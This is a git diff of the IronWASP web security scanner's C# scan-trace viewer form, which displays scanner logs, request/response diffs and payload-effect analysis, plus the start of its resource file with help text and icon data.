new SessionsDiffer(); - Sdiff.SetSessions("Scan", ALogId, BLogId); - Sdiff.Show(); - } - else - { - MessageBox.Show(string.Format("Diff can be done only when two sessions are selected. You have selected {0} sessions", SelectedRowsCount), "Selection Error"); - } - } - - private void CodeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (CodeGrid.SelectedRows == null) return; - if (CodeGrid.SelectedRows.Count == 0) return; - int LogId = Int32.Parse(CodeGrid.SelectedCells[0].Value.ToString()); - ShowSelectedLog(LogId); - } - - private void KeywordsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (KeywordsGrid.SelectedRows == null) return; - if (KeywordsGrid.SelectedRows.Count == 0) return; - int LogId = Int32.Parse(KeywordsGrid.SelectedCells[0].Value.ToString()); - ShowSelectedLog(LogId); - } - - private void BodyGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (BodyGrid.SelectedRows == null) return; - if (BodyGrid.SelectedRows.Count == 0) return; - int LogId = Int32.Parse(BodyGrid.SelectedCells[0].Value.ToString()); - ShowSelectedLog(LogId); - } - - private void SetCookieGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (SetCookieGrid.SelectedRows == null) return; - if (SetCookieGrid.SelectedRows.Count == 0) return; - int LogId = Int32.Parse(SetCookieGrid.SelectedCells[0].Value.ToString()); - ShowSelectedLog(LogId); - } - - private void HeadersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (HeadersGrid.SelectedRows == null) return; - if (HeadersGrid.SelectedRows.Count == 0) return; - int LogId = Int32.Parse(HeadersGrid.SelectedCells[0].Value.ToString()); - ShowSelectedLog(LogId); - } - - private void RoundtripGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (RoundtripGrid.SelectedRows == null) return; - if (RoundtripGrid.SelectedRows.Count == 0) return; - int LogId = Int32.Parse(RoundtripGrid.SelectedCells[0].Value.ToString()); - ShowSelectedLog(LogId); - } - - delegate void SetAnalysisUiResults_d(ScanTraceBehaviourAnalysisResultsUiInformation UiResults); - void SetAnalysisUiResults(ScanTraceBehaviourAnalysisResultsUiInformation UiResults) - { - if (this.PayloadEffectTabs.InvokeRequired) - { - SetAnalysisUiResults_d CALL_d = new SetAnalysisUiResults_d(SetAnalysisUiResults); - this.PayloadEffectTabs.Invoke(CALL_d, new object[] { UiResults }); - } - else - { - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;\red255\green255\blue255;}"); - SB.Append(Tools.RtfSafe(UiResults.SummaryText)); - - this.SummaryRTB.Rtf = SB.ToString(); - - if (UiResults.CodeGridRows.Count > 0) - { - this.PayloadEffectTabs.TabPages["CodeTab"].Text = " Code Variation "; - foreach (object[] Row in UiResults.CodeGridRows) - { - this.CodeGrid.Rows.Add(Row); - } - } - else - { - this.PayloadEffectTabs.TabPages["CodeTab"].Text = " - "; - } - if (UiResults.TimeGridRows.Count > 0) - { - this.PayloadEffectTabs.TabPages["TimeTab"].Text = " Time Variation "; - foreach (object[] Row in UiResults.TimeGridRows) - { - this.RoundtripGrid.Rows.Add(Row); - } - } - else - { - this.PayloadEffectTabs.TabPages["TimeTab"].Text = " - "; - } - if (UiResults.KeywordGridRows.Count > 0) - { - this.PayloadEffectTabs.TabPages["KeywordsTab"].Text = " Keywords Inserted "; - foreach (object[] Row in UiResults.KeywordGridRows) - { - this.KeywordsGrid.Rows.Add(Row); - } - } - else - { - this.PayloadEffectTabs.TabPages["KeywordsTab"].Text = " - "; - } - if (UiResults.BodyGridRows.Count > 0) - { - this.PayloadEffectTabs.TabPages["BodyTab"].Text = " Body Variation "; - foreach (object[] Row in UiResults.BodyGridRows) - { - this.BodyGrid.Rows.Add(Row); - } - } - else - { - this.PayloadEffectTabs.TabPages["BodyTab"].Text = " - "; - } - if (UiResults.SetCookieGridRows.Count > 0) - { - this.PayloadEffectTabs.TabPages["SetCookieTab"].Text = " Set-Cookie Variations "; - foreach (object[] Row in UiResults.SetCookieGridRows) - { - this.SetCookieGrid.Rows.Add(Row); - } - } - else - { - this.PayloadEffectTabs.TabPages["SetCookieTab"].Text = " - "; - } - if (UiResults.HeadersGridRows.Count > 0) - { - this.PayloadEffectTabs.TabPages["HeadersTab"].Text = " Headers Variation "; - foreach (object[] Row in UiResults.HeadersGridRows) - { - this.HeadersGrid.Rows.Add(Row); - } - } - else - { - this.PayloadEffectTabs.TabPages["HeadersTab"].Text = " - "; - } - this.AnalysisProgressBar.Visible = false; - this.PayloadEffectTabs.Visible = true; - } - } - - delegate void SetTraceData_d(List Rows, string Rtf); - void SetTraceData(List Rows, string Rtf) - { - if (this.ScanTraceOverviewGrid.InvokeRequired) - { - SetTraceData_d CALL_d = new SetTraceData_d(SetTraceData); - this.ScanTraceOverviewGrid.Invoke(CALL_d, new object[] { Rows, Rtf }); - } - else - { - foreach (object[] Row in Rows) - { - string Message = Row[9].ToString(); - string TagColor = ""; - Dictionary TagColors = new Dictionary(){ - {"cr", Color.IndianRed}, - {"co", Color.Orange}, - {"h", Color.Orange}, - {"hh", Color.Orange}, - {"cb", Color.LightBlue}, - {"cg", Color.LightGreen}, - {"b", Color.LightGray} - }; - - foreach (string TG in new List { "cr", "co", "h", "hh", "cb", "cg", "b" })//This is used insted of TagColors.Keys to enforce color priority. - { - string OT = string.Format(">", TG); - string CT = string.Format(">", TG); - if (Message.Contains(OT) && Message.Contains(CT)) - { - TagColor = TG; - break; - } - } - Row[9] = Tools.StripRtfTags(Message); - - int RowId = this.ScanTraceOverviewGrid.Rows.Add(Row); - if (RowId == 0) - { - if (ScanTraceOverviewGrid.Rows[0].Cells[2].Value != null) - { - try - { - BaselineLogId = Int32.Parse(ScanTraceOverviewGrid.Rows[0].Cells[2].Value.ToString()); - } - catch { } - } - } - if (TagColor.Length > 0) - { - this.ScanTraceOverviewGrid.Rows[RowId].DefaultCellStyle.BackColor = TagColors[TagColor]; - } - } - this.ScanTraceMsgRTB.Rtf = Rtf; - this.MainLoadProgressBar.Visible = false; - this.BaseSplit.Visible = true; - } - } - - delegate void CloseTraceWindow_d(); - void CloseTraceWindow() - { - if (this.ScanTraceOverviewGrid.InvokeRequired) - { - CloseTraceWindow_d CALL_d = new CloseTraceWindow_d(CloseTraceWindow); - this.ScanTraceOverviewGrid.Invoke(CALL_d, new object[] { }); - } - else - { - this.Close(); - } - } - - private void LogTraceViewer_Load(object sender, EventArgs e) - { - try - { - MainLoadProgressBar.Visible = true; - AnalysisProgressBar.Visible = true; - - AnalysisThread = new Thread(LoadAndFill); - AnalysisThread.Start(); - } - catch(Exception Exp) - { - IronException.Report("Error loading Scan Trace", Exp); - } - } - - void LoadAndFill() - { - if (this.Trace == null) - { - this.Trace = IronDB.GetScanTrace(this.TraceId); - } - - try - { - List Rows = IronTrace.GetGridRowsFromTraceAndOverviewXml(Trace.OverviewXml, Trace.MessageXml); - - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;\red255\green255\blue255;}"); - SB.Append(Tools.RtfSafe(Trace.GetScanTracePrettyMessage())); - - this.SetTraceData(Rows, SB.ToString()); - } - catch(Exception Exp) - { - IronException.Report("Error loading Scan Trace", Exp); - this.CloseTraceWindow(); - } - - if (this.UiResults == null) - { - DoAnalysis(); - } - else - { - SetAnalysisUiResults(this.UiResults); - } - } - - void DoAnalysis() - { - try - { - BehaviourAnalysis BA = new BehaviourAnalysis(ScanTraceBehaviourAnalysis.DefaultErrorKeywords, ScanTraceBehaviourAnalysis.DefaultResponseTimeChange, ScanTraceBehaviourAnalysis.DefaultResponseTimeChangeFactor, ScanTraceBehaviourAnalysis.DefaultCharsCount); - BA.Analyze(this.Trace.OverviewXml, this.Trace.Section); - ScanTraceBehaviourAnalysisResultsUiInformation UiReslts = ScanTraceBehaviourAnalysis.GetUiDisplayResults(BA.ResultsXml, BA.BaseLineSession.Response.Code.ToString(), BA.BaseLineRoundtripTime.ToString()); - SetAnalysisUiResults(UiReslts); - } - catch (Exception Exp) - { - IronException.Report("Error calculating Payload Effect Analysis", Exp); - SetAnalysisUiResults(new ScanTraceBehaviourAnalysisResultsUiInformation()); - } - } - - private void DisplayFilterLogsOnlyRB_CheckedChanged(object sender, EventArgs e) - { - if (DisplayFilterLogsOnlyRB.Checked) - { - foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) - { - if (Row.Cells[2].Value == null) Row.Visible = false; - } - } - else - { - foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) - { - Row.Visible = true; - } - } - } - - private void ManualTestRequestBtn_Click(object sender, EventArgs e) - { - NameTestGroupWizard NTGW = new NameTestGroupWizard(); - try - { - Request Req = RequestView.GetRequest(); - if(Req != null) - { - NTGW.RequestToTest = Req; - NTGW.Show(); - } - } - catch{} - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class LogTraceViewer : Form + { + Thread LogLoadThread; + Thread AnalysisThread; + + int SelectedRowsCount = 0; + + int TraceId = 0; + IronTrace Trace; + ScanTraceBehaviourAnalysisResultsUiInformation UiResults; + + int BaselineLogId = 0; + Session BaselineSession; + + internal LogTraceViewer(int TraceId) + { + this.TraceId = TraceId; + InitializeComponent(); + } + + internal LogTraceViewer(IronTrace Trace) + { + this.Trace = Trace; + InitializeComponent(); + } + + internal LogTraceViewer(int TraceId, ScanTraceBehaviourAnalysisResultsUiInformation UiResults) + { + this.TraceId = TraceId; + this.UiResults = UiResults; + InitializeComponent(); + } + + private void ScanTraceOverviewGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanTraceOverviewGrid.SelectedRows == null) return; + if (ScanTraceOverviewGrid.SelectedRows.Count == 0) return; + if (ScanTraceOverviewGrid.SelectedRows[0].Cells[2].Value == null) return; + + if (e.ColumnIndex == 0)// ClickActionSelectLogRB.Checked) + { + ScanTraceOverviewGrid.SelectedRows[0].Cells[0].Value = !((bool)ScanTraceOverviewGrid.SelectedRows[0].Cells[0].Value); + if ((bool)ScanTraceOverviewGrid.SelectedRows[0].Cells[0].Value) + { + SelectedRowsCount++; + } + else + { + SelectedRowsCount--; + } + if (SelectedRowsCount > 0) + { + DoDiffBtn.Enabled = true; + } + else + { + DoDiffBtn.Enabled = false; + } + } + else + { + //ShowSelectedTraceItem(); + } + } + + void ShowSelectedTraceItem() + { + try + { + int LogId = Int32.Parse(ScanTraceOverviewGrid.SelectedCells[2].Value.ToString()); + if (BaselineLogId == 0) + { + if (ScanTraceOverviewGrid.Rows.Count > 0 && ScanTraceOverviewGrid.Rows[0].Cells[2].Value != null) + { + BaselineLogId = Int32.Parse(ScanTraceOverviewGrid.Rows[0].Cells[2].Value.ToString()); + } + } + ShowSelectedLog(LogId); + } + catch { } + } + + void ShowSelectedLog(int LogId) + { + LogDisplayTabs.Visible = false; + LoadLogProgressBar.Visible = true; + + RequestView.ClearRequest(); + ResponseView.ClearResponse(); + RequestDRV.ClearDiffResults(); + ResponseDRV.ClearDiffResults(); + + if (LogLoadThread != null) + { + try + { + LogLoadThread.Abort(); + } + catch { } + } + LogLoadThread = new Thread(ShowSelectedLog); + LogLoadThread.Start(LogId); + } + + void ShowSelectedLog(object SelectedLogInfoObject) + { + int LogId = (int)SelectedLogInfoObject; + bool EnableBtn = false; + string ScriptCode = ""; + + try + { + Session Session = Session.FromScanLog(LogId); + if (BaselineSession == null && BaselineLogId > 0) + { + BaselineSession = Session.FromScanLog(BaselineLogId); + } + + StringBuilder SB = new StringBuilder(">To access the selected Request in the IronWASP Scripting shell for fuzzing or testing use the following code:>"); + SB.Append(string.Format(">>Python:>>req = >Request>.>FromScanLog>({0})", LogId)); + SB.Append(string.Format(">>>Ruby:>>req = >Request>.>from_scan_log>({0})", LogId)); + ScriptCode = SB.ToString(); + + SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;\red255\green255\blue255;}"); + SB.Append(Tools.RtfSafe(ScriptCode)); + ScriptCode = SB.ToString(); + ScriptCode = ScriptCode.Replace(" . ", ".").Replace(" (", "(").Replace("Request ", "Request").Replace(" From", "From").Replace(" from", "from").Replace("Log ", "Log").Replace("log ", "log"); + + string RequestStr = ""; + string ResponseStr = ""; + string BaselineRequestStr = ""; + string BaselineResponseStr = ""; + + if (Session.Request != null) + { + RequestStr = Session.Request.ToString(); + RequestView.SetRequest(Session.Request); + EnableBtn = true; + + if (Session.Response != null) + { + ResponseStr = Session.Response.ToString(); + ResponseView.SetResponse(Session.Response, Session.Request); + } + } + if (BaselineSession != null) + { + if (BaselineSession.Request != null) + { + BaselineRequestStr = BaselineSession.Request.ToString(); + if (BaselineSession.Response != null) + { + BaselineResponseStr = BaselineSession.Response.ToString(); + } + } + } + + + string[] RequestSidebySideResults = DiffWindow.DoSideBySideDiff(BaselineRequestStr, RequestStr); + string[] ResponseSidebySideResults = DiffWindow.DoSideBySideDiff(BaselineResponseStr, ResponseStr); + + string RequestSinglePageResults = DiffWindow.DoSinglePageDiff(BaselineRequestStr, RequestStr); + string ResponseSinglePageResults = DiffWindow.DoSinglePageDiff(BaselineResponseStr, ResponseStr); + + RequestDRV.ShowDiffResults(RequestSinglePageResults, RequestSidebySideResults[0], RequestSidebySideResults[1]); + ResponseDRV.ShowDiffResults(ResponseSinglePageResults, ResponseSidebySideResults[0], ResponseSidebySideResults[1]); + + } + catch (ThreadAbortException) { } + catch (Exception Exp) { IronException.Report("Error loading Selected Log info in Scan Trace Viewer", Exp); } + finally + { + EndLogLoad(EnableBtn, ScriptCode); + } + } + + delegate void EndLogLoad_d(bool EnableBtn, string ScriptRtf); + void EndLogLoad(bool EnableBtn, string ScriptRtf) + { + if (ScanTraceOverviewGrid.InvokeRequired) + { + EndLogLoad_d CALL_d = new EndLogLoad_d(EndLogLoad); + ScanTraceOverviewGrid.Invoke(CALL_d, new object[] { EnableBtn, ScriptRtf }); + } + else + { + LoadLogProgressBar.Visible = false; + LogDisplayTabs.Visible = true; + ManualTestRequestBtn.Enabled = EnableBtn; + ScriptedTestRequestBtn.Rtf = ScriptRtf; + } + } + + private void LogTraceViewer_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + LogLoadThread.Abort(); + } + catch { } + try + { + AnalysisThread.Abort(); + } + catch { } + } + + private void DoDiffBtn_Click(object sender, EventArgs e) + { + if (SelectedRowsCount == 2) + { + int ALogId = -1; + int BLogId = -1; + foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (ALogId == -1) + { + try + { + ALogId = Int32.Parse(Row.Cells[2].Value.ToString()); + } + catch { } + } + else if (BLogId == -1) + { + try + { + BLogId = Int32.Parse(Row.Cells[2].Value.ToString()); + } + catch { } + break; + } + } + } + SessionsDiffer Sdiff = new SessionsDiffer(); + Sdiff.SetSessions("Scan", ALogId, BLogId); + Sdiff.Show(); + } + else + { + MessageBox.Show(string.Format("Diff can be done only when two sessions are selected. You have selected {0} sessions", SelectedRowsCount), "Selection Error"); + } + } + + private void CodeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (CodeGrid.SelectedRows == null) return; + if (CodeGrid.SelectedRows.Count == 0) return; + int LogId = Int32.Parse(CodeGrid.SelectedCells[0].Value.ToString()); + ShowSelectedLog(LogId); + } + + private void KeywordsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (KeywordsGrid.SelectedRows == null) return; + if (KeywordsGrid.SelectedRows.Count == 0) return; + int LogId = Int32.Parse(KeywordsGrid.SelectedCells[0].Value.ToString()); + ShowSelectedLog(LogId); + } + + private void BodyGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (BodyGrid.SelectedRows == null) return; + if (BodyGrid.SelectedRows.Count == 0) return; + int LogId = Int32.Parse(BodyGrid.SelectedCells[0].Value.ToString()); + ShowSelectedLog(LogId); + } + + private void SetCookieGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (SetCookieGrid.SelectedRows == null) return; + if (SetCookieGrid.SelectedRows.Count == 0) return; + int LogId = Int32.Parse(SetCookieGrid.SelectedCells[0].Value.ToString()); + ShowSelectedLog(LogId); + } + + private void HeadersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (HeadersGrid.SelectedRows == null) return; + if (HeadersGrid.SelectedRows.Count == 0) return; + int LogId = Int32.Parse(HeadersGrid.SelectedCells[0].Value.ToString()); + ShowSelectedLog(LogId); + } + + private void RoundtripGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (RoundtripGrid.SelectedRows == null) return; + if (RoundtripGrid.SelectedRows.Count == 0) return; + int LogId = Int32.Parse(RoundtripGrid.SelectedCells[0].Value.ToString()); + ShowSelectedLog(LogId); + } + + delegate void SetAnalysisUiResults_d(ScanTraceBehaviourAnalysisResultsUiInformation UiResults); + void SetAnalysisUiResults(ScanTraceBehaviourAnalysisResultsUiInformation UiResults) + { + if (this.PayloadEffectTabs.InvokeRequired) + { + SetAnalysisUiResults_d CALL_d = new SetAnalysisUiResults_d(SetAnalysisUiResults); + this.PayloadEffectTabs.Invoke(CALL_d, new object[] { UiResults }); + } + else + { + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;\red255\green255\blue255;}"); + SB.Append(Tools.RtfSafe(UiResults.SummaryText)); + + this.SummaryRTB.Rtf = SB.ToString(); + + if (UiResults.CodeGridRows.Count > 0) + { + this.PayloadEffectTabs.TabPages["CodeTab"].Text = " Code Variation "; + foreach (object[] Row in UiResults.CodeGridRows) + { + this.CodeGrid.Rows.Add(Row); + } + } + else + { + this.PayloadEffectTabs.TabPages["CodeTab"].Text = " - "; + } + if (UiResults.TimeGridRows.Count > 0) + { + this.PayloadEffectTabs.TabPages["TimeTab"].Text = " Time Variation "; + foreach (object[] Row in UiResults.TimeGridRows) + { + this.RoundtripGrid.Rows.Add(Row); + } + } + else + { + this.PayloadEffectTabs.TabPages["TimeTab"].Text = " - "; + } + if (UiResults.KeywordGridRows.Count > 0) + { + this.PayloadEffectTabs.TabPages["KeywordsTab"].Text = " Keywords Inserted "; + foreach (object[] Row in UiResults.KeywordGridRows) + { + this.KeywordsGrid.Rows.Add(Row); + } + } + else + { + this.PayloadEffectTabs.TabPages["KeywordsTab"].Text = " - "; + } + if (UiResults.BodyGridRows.Count > 0) + { + this.PayloadEffectTabs.TabPages["BodyTab"].Text = " Body Variation "; + foreach (object[] Row in UiResults.BodyGridRows) + { + this.BodyGrid.Rows.Add(Row); + } + } + else + { + this.PayloadEffectTabs.TabPages["BodyTab"].Text = " - "; + } + if (UiResults.SetCookieGridRows.Count > 0) + { + this.PayloadEffectTabs.TabPages["SetCookieTab"].Text = " Set-Cookie Variations "; + foreach (object[] Row in UiResults.SetCookieGridRows) + { + this.SetCookieGrid.Rows.Add(Row); + } + } + else + { + this.PayloadEffectTabs.TabPages["SetCookieTab"].Text = " - "; + } + if (UiResults.HeadersGridRows.Count > 0) + { + this.PayloadEffectTabs.TabPages["HeadersTab"].Text = " Headers Variation "; + foreach (object[] Row in UiResults.HeadersGridRows) + { + this.HeadersGrid.Rows.Add(Row); + } + } + else + { + this.PayloadEffectTabs.TabPages["HeadersTab"].Text = " - "; + } + this.AnalysisProgressBar.Visible = false; + this.PayloadEffectTabs.Visible = true; + } + } + + delegate void SetTraceData_d(List Rows, string Rtf); + void SetTraceData(List Rows, string Rtf) + { + if (this.ScanTraceOverviewGrid.InvokeRequired) + { + SetTraceData_d CALL_d = new SetTraceData_d(SetTraceData); + this.ScanTraceOverviewGrid.Invoke(CALL_d, new object[] { Rows, Rtf }); + } + else + { + foreach (object[] Row in Rows) + { + string Message = Row[9].ToString(); + string TagColor = ""; + Dictionary TagColors = new Dictionary(){ + {"cr", Color.IndianRed}, + {"co", Color.Orange}, + {"h", Color.Orange}, + {"hh", Color.Orange}, + {"cb", Color.LightBlue}, + {"cg", Color.LightGreen}, + {"b", Color.LightGray} + }; + + foreach (string TG in new List { "cr", "co", "h", "hh", "cb", "cg", "b" })//This is used insted of TagColors.Keys to enforce color priority. + { + string OT = string.Format(">", TG); + string CT = string.Format(">", TG); + if (Message.Contains(OT) && Message.Contains(CT)) + { + TagColor = TG; + break; + } + } + Row[9] = Tools.StripRtfTags(Message); + + int RowId = this.ScanTraceOverviewGrid.Rows.Add(Row); + if (RowId == 0) + { + if (ScanTraceOverviewGrid.Rows[0].Cells[2].Value != null) + { + try + { + BaselineLogId = Int32.Parse(ScanTraceOverviewGrid.Rows[0].Cells[2].Value.ToString()); + } + catch { } + } + } + if (TagColor.Length > 0) + { + this.ScanTraceOverviewGrid.Rows[RowId].DefaultCellStyle.BackColor = TagColors[TagColor]; + } + } + this.ScanTraceMsgRTB.Rtf = Rtf; + this.MainLoadProgressBar.Visible = false; + this.BaseSplit.Visible = true; + } + } + + delegate void CloseTraceWindow_d(); + void CloseTraceWindow() + { + if (this.ScanTraceOverviewGrid.InvokeRequired) + { + CloseTraceWindow_d CALL_d = new CloseTraceWindow_d(CloseTraceWindow); + this.ScanTraceOverviewGrid.Invoke(CALL_d, new object[] { }); + } + else + { + this.Close(); + } + } + + private void LogTraceViewer_Load(object sender, EventArgs e) + { + try + { + MainLoadProgressBar.Visible = true; + AnalysisProgressBar.Visible = true; + + AnalysisThread = new Thread(LoadAndFill); + AnalysisThread.Start(); + } + catch(Exception Exp) + { + IronException.Report("Error loading Scan Trace", Exp); + } + } + + void LoadAndFill() + { + if (this.Trace == null) + { + this.Trace = IronDB.GetScanTrace(this.TraceId); + } + + try + { + List Rows = IronTrace.GetGridRowsFromTraceAndOverviewXml(Trace.OverviewXml, Trace.MessageXml); + + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;\red255\green255\blue255;}"); + SB.Append(Tools.RtfSafe(Trace.GetScanTracePrettyMessage())); + + this.SetTraceData(Rows, SB.ToString()); + } + catch(Exception Exp) + { + IronException.Report("Error loading Scan Trace", Exp); + this.CloseTraceWindow(); + } + + if (this.UiResults == null) + { + DoAnalysis(); + } + else + { + SetAnalysisUiResults(this.UiResults); + } + } + + void DoAnalysis() + { + try + { + BehaviourAnalysis BA = new BehaviourAnalysis(ScanTraceBehaviourAnalysis.DefaultErrorKeywords, ScanTraceBehaviourAnalysis.DefaultResponseTimeChange, ScanTraceBehaviourAnalysis.DefaultResponseTimeChangeFactor, ScanTraceBehaviourAnalysis.DefaultCharsCount); + BA.Analyze(this.Trace.OverviewXml, this.Trace.Section); + ScanTraceBehaviourAnalysisResultsUiInformation UiReslts = ScanTraceBehaviourAnalysis.GetUiDisplayResults(BA.ResultsXml, BA.BaseLineSession.Response.Code.ToString(), BA.BaseLineRoundtripTime.ToString()); + SetAnalysisUiResults(UiReslts); + } + catch (Exception Exp) + { + IronException.Report("Error calculating Payload Effect Analysis", Exp); + SetAnalysisUiResults(new ScanTraceBehaviourAnalysisResultsUiInformation()); + } + } + + private void DisplayFilterLogsOnlyRB_CheckedChanged(object sender, EventArgs e) + { + if (DisplayFilterLogsOnlyRB.Checked) + { + foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) + { + if (Row.Cells[2].Value == null) Row.Visible = false; + } + } + else + { + foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) + { + Row.Visible = true; + } + } + } + + private void ManualTestRequestBtn_Click(object sender, EventArgs e) + { + NameTestGroupWizard NTGW = new NameTestGroupWizard(); + try + { + Request Req = RequestView.GetRequest(); + if(Req != null) + { + NTGW.RequestToTest = Req; + NTGW.Show(); + } + } + catch{} + } + + long TimeWhenLogGridIndexWasLastChanged = 0; + private void ScanTraceOverviewGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedTraceItem(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + } +} diff --git a/Iron/LogTraceViewer.resx b/Iron/LogTraceViewer.resx new file mode 100644 index 0000000..2dd8017 --- /dev/null +++ b/Iron/LogTraceViewer.resx @@ -0,0 +1,2030 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + Information about the three tabs in this section is provided below: + +Payloads, Scan Trace Messages and Logs: +This sections lists all the payloads sent by the scanner and the corresponding log and trace information. +The request and response associated with a payload can be viewed by clicking on a particular log. +The 'Display Filter' option can be used to filter out trace information. + +You can also do a diff of the request/response in two different logs by selecting two logs and clicking on 'Diff Selected Sessions' button. +Two select two logs at the same time set the 'Click Action' to 'Select Log' and click on the logs you want to select. + +Some entries in the list will be highlighted in different colors. This is done to highlight important log entries. The color is determined by the data in the scan trace text. The first entry will be the baseline response and is highlighted in green. + + +Formatted Scan Trace Messages: +This shows the scan trace text information in as a neatly formatted text. + +Payload Effect Analysis Results: +If the injected payload has any effect on the application then the response from the server will vary from the baseline response. These variations are analyzed automatically and the results of this analysis is listed here. +There is a summary section that gives a breif overview of the variations and the individual tabs gives more specific information, in terms of what payload caused what exact variation. +By clicking on any of those entries you can see the corresponding request and response below. + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0smj3FNlNGXT//Rl0/U0ZdP1NGXT/+OcU2VS0tLJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLo0xLS8XRl0/Q0ZdP1NGXT9TRl0/QTEtLx0tLS6IAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLJ0tLS/xLS0v/mHZNj9GXT7TRl0+0lnVNk0tLS/9LS0v8S0tLJwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLS6RLS0v/S0tL/4yFW4vdzW6x3c1usYqDWpBLS0v/S0tL/0tLS6QAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0v8S0tL/0tLS87czG7E3c1u/93Nbv/czG7GS0tL0UtLS/9LS0v8S0tLKAAA + AAAAAAAAAAAAAAAAAABLS0ulS0tL/0tLS/+NhVuT3c1u/93Nbv/dzW7/3c1u/42GW5lLS0v/S0tL/0tL + S6UAAAAAAAAAAAAAAABLS0spS0tL/EtLS/9LS0vR3Mxuwd3Nbv/dzW7/3c1u/93Nbv/czG7GS0tL0ktL + S/9LS0v8S0tLKQAAAAAAAAAAS0tLpktLS/9LS0v/iYJakt3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/42F + W5lLS0v/S0tL/0tLS6YAAAAAS0tLKktLS/VLS0ulS0tLQdfHbBLdzW5c3c1up93Nbu/dzW7v3c1uqN3N + bl3XyG0US0tLQUtLS6VLS0v1S0tLKktLSy5LS0sSAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4E3c1uBAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLEktLSy7+fwAA/n8AAPw/AAD8PwAA+B8AAPgfAADwDwAA8A8AAOAH + 